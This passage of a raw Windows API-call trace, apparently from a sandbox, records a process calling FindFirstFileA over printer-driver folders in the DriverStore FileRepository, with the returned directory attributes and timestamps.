lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x53356648, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x53356648, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x53356648, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0146.694] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnca00z.inf_amd64_neutral_27f402ce616c3ebc\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x53460fea, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6c767fb0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6c767fb0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.694] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnca00z.inf_amd64_neutral_27f402ce616c3ebc\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x53460fea, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x534d340b, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x534d340b, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0146.710] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnep002.inf_amd64_neutral_efc4a7485b172c07\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x535b7c4d, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6c78e111, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6c78e111, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.711] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnep002.inf_amd64_neutral_efc4a7485b172c07\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x535b7c4d, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x535b7c4d, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x535b7c4d, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0146.713] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnep003.inf_amd64_neutral_92ed2d842e0dd4ea\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x536e874f, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6c7b4271, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6c7b4271, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.714] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnep003.inf_amd64_neutral_92ed2d842e0dd4ea\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x536e874f, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x53734a0f, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x53734a0f, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0146.728] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnep004.inf_amd64_neutral_63b22bfb6b93eaba\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5388b672, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6c7da3d1, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6c7da3d1, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.729] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnep004.inf_amd64_neutral_63b22bfb6b93eaba\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5388b672, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x538fda93, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x538fda93, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0146.743] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnep005.inf_amd64_neutral_f2fbc5759618d8fb\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x53a08435, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6c800531, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6c800531, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.743] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnep005.inf_amd64_neutral_f2fbc5759618d8fb\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x53a08435, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x53a08435, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x53a08435, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0146.745] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnep00a.inf_amd64_neutral_92a4c727cdf4c2f7\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x53aecc76, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6c826692, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6c826692, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.746] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnep00a.inf_amd64_neutral_92a4c727cdf4c2f7\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x53aecc76, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x53b38f37, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x53b38f37, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0146.758] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnep00b.inf_amd64_neutral_2e6b718b2b177506\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x53d01fba, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6c84c7f2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6c84c7f2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.759] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnep00b.inf_amd64_neutral_2e6b718b2b177506\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x53d01fba, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x53e0c95c, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x53e0c95c, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0146.789] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnep00c.inf_amd64_neutral_f0d9ddf52f04765c\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x53f8971f, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6c898ab3, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6c898ab3, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.790] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnep00c.inf_amd64_neutral_f0d9ddf52f04765c\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x53f8971f, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x53fd59df, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x53fd59df, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0146.802] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnep00d.inf_amd64_neutral_dd61103f3a2743d4\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x541064e1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6c8bec13, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6c8bec13, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.803] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnep00d.inf_amd64_neutral_dd61103f3a2743d4\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5412c642, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x54178902, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x54178902, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0146.813] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnep00e.inf_amd64_neutral_edc631ff41a34218\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5425d144, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6c8bec13, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6c8bec13, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.814] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnep00e.inf_amd64_neutral_edc631ff41a34218\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5425d144, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x542cf565, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x542cf565, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0146.833] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnep00f.inf_amd64_neutral_a5f6001b957bd7e0\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x543b3da6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6c8e4d73, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6c8e4d73, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.834] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnep00f.inf_amd64_neutral_a5f6001b957bd7e0\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x543b3da6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x54400067, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x54400067, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0146.843] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnep00g.inf_amd64_neutral_2926840e245f88f6\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x544e48a9, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6c90aed3, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6c90aed3, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.844] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnep00g.inf_amd64_neutral_2926840e245f88f6\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x544e48a9, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x5450aa09, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x5450aa09, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0146.853] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnep00l.inf_amd64_neutral_f1fa021d2221e2c7\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x546f9bec, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6c931034, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6c931034, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.854] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnep00l.inf_amd64_neutral_f1fa021d2221e2c7\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x546f9bec, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x5485084f, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x5485084f, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0146.885] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnfx002.inf_amd64_neutral_b6dd354531184f64\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x549cd612, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6c97d2f4, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6c97d2f4, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.886] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnfx002.inf_amd64_neutral_b6dd354531184f64\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x549cd612, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x549f3772, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x549f3772, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0146.892] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnge001.inf_amd64_neutral_cfffa4143b3c4592\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ad7fb3, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6c9a3454, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6c9a3454, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.893] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnge001.inf_amd64_neutral_cfffa4143b3c4592\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ad7fb3, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x54afe114, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x54afe114, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0146.900] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prngt002.inf_amd64_neutral_df2060d80de9ff13\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54c54d76, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6c9a3454, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6c9a3454, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.901] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prngt002.inf_amd64_neutral_df2060d80de9ff13\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54c54d76, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x54cc7197, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x54cc7197, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0146.913] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prngt003.inf_amd64_neutral_8c9aae54a5673a35\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54e43f5a, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6c9ef715, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6c9ef715, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.914] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prngt003.inf_amd64_neutral_8c9aae54a5673a35\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54e43f5a, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x54eb637b, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x54eb637b, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0146.926] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prngt004.inf_amd64_neutral_f5bf8a7ba9dfff55\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5500cfdd, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6ca15875, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6ca15875, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.927] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prngt004.inf_amd64_neutral_f5bf8a7ba9dfff55\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5500cfdd, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x550a555e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x550a555e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0146.941] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnhp002.inf_amd64_neutral_04d05d1f6a90ea24\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5539f0e4, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6ca61b36, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6ca61b36, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.942] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnhp002.inf_amd64_neutral_04d05d1f6a90ea24\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5539f0e4, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x555da588, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x555da588, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0146.982] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnhp003.inf_amd64_neutral_4480210763997eb4\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x55a2ad70, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6cb20217, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6cb20217, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.983] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnhp003.inf_amd64_neutral_4480210763997eb4\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x55a2ad70, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x55d248f5, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x55d248f5, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0147.035] 